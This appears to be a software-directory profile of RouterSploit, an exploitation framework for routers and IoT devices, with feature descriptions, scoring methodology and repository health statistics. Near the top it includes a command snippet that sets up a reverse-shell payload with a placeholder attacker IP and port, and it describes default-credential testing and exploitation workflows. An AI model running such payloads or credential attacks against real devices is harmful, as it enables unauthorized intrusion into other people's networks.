routersploit
v3.4.0 open-sourceThe section your link pointed to isn't on routersploit's page any more, so we've brought you to the top.
RouterSploit is an open-source exploitation framework dedicated to embedded devices, with modules for exploits, scanners, credentials testing, and payloads.
use payloads/python/reverse_udp set LHOST <attacker_ip> set LPORT <port> run python setup.py install port = Option(80, "Port", validators=validators.integer) shell(host="192.168.1.100", port=4444)
Summary
routersploit is an open-source exploitation framework for embedded devices, free to use, run from the command line after cloning the repository and installing its Python dependencies (or via Docker). It works through modules organized into exploits, scanners, credential testers, and payload generators, letting an operator check whether a router or other embedded target is vulnerable and then act on it in the same session. This makes it a fit for penetration testers and red teamers working against routers, IoTIoTA collective label for internet-connected physical devices — sensors, cameras, routers, appliances — that tools target because they run embedded firmware with limited patching and broad network exposure. devices, and similar hardware rather than web or host targets, and its Metasploit-style module layout will feel familiar to anyone coming from that world, though nothing in its documentation names it as an alternative. First committed in 2016 and carrying 90 contributors, it has slowed to just 3 commits in the past year despite 10 tracked releases, so treat it as mature but not actively evolving.
RouterSploit is an open-source exploitation framework dedicated to embedded devices, with modules for exploits, scanners, credentials testing, and payloads.
How routersploit helps
Is this router or IoT device actually vulnerable to a known exploit before I try attacking it?
runs the scanner modules against the target, checking it against the framework's library of known embedded-device vulnerabilities and reporting which ones match
Which of my devices are still using default or weak vendor credentials?
runs credential-testing modules against the network service on the target, trying known default and weak logins and reporting which ones succeed
Can I move from confirming a flaw to actually exploiting it without switching tools?
lets the operator load the matching exploit module in the same session right after the scanner flags it vulnerable, so confirmation and exploitation happen back to back
What payload do I need to hand this exploit for the target's specific hardware?
generates payloads for the injection point and architecture the exploit module targets, matching the format the vulnerable device expects
Are there other embedded-device weaknesses on this target beyond the specific exploit I'm testing?
includes generic-attack modules that probe for broader classes of weakness on the target rather than one named vulnerability
Languages
Command line
No command matches.
| option | found in | since | description |
|---|
Values are placeholders taken from each option’s declared default. Nothing is executed here — the output shown is a recording of a run that already happened.
Score card
-
Shipping velocity releases a month, last 12 months
-
Documentation quality release-notes rubric, 0–100
-
Breaking-change discipline how rarely a release breaks users, and notice given
-
Maintenance risk quiet time against its own cadence, maintainers
-
Innovation & surface new capabilities, API and MCP surface
- Community health
-
Contributor trend distinct committers, this year against last
-
Maintainer concentration bus factor now against a year ago
-
Issue backlog trend issues closed per issue opened, 12 months
-
Responsiveness median time to a maintainer’s first reply
Nine scores for routersploit, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.
Score cards are part of every paid plan.
See plans → Already subscribed? Sign in →Trajectory
Blank means never measured; nothing here is a filled-in zero.
Peer standings are included with Researcher and Business. See how this tool ranks against its competitors, using data we don't publish anywhere else.
See plans →Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.
How this is scored
- Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
- Documentation quality — the release-notes rubric published on the analytics page, unchanged.
- Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
- Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
- Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
- Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
- Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
- Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.
Release-note detail over time
See how much detail routersploit puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.
Checking release-note history…
Releases
7 entries
No entries match these filters.
- October 20181
- June 20182
- May 20181
- August 20161
- July 20161
- May 20161
Project health
Issue, contributor and maintainer activity in threat9/routersploit, 2023-10 – 2026-09, as of 2026-09-25. Twelve-month figures first; the trend lines run the whole window.
- Contributors 3 −4 vs prior 12 months
- Maintainers 0 +1 joined · −3 left, last 12 months
- Bus factor 0 committers behind half the commits
- Community-filed 100% of issues opened, last 12 months
- Median time to close 117 days first maintainer reply 44 days
- Open backlog 86 of 527 issues ever filed
- Issues opened / month 0 · 0 communitymaintainers
- Open backlog 86
- Contributors / month 0
- Commits / month 0
- Stars 13,244
- bugs 25%
- other 75%
Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this
Add the badge to your README
Maintain this project? The badge links readers straight to this page, so they can follow every release here.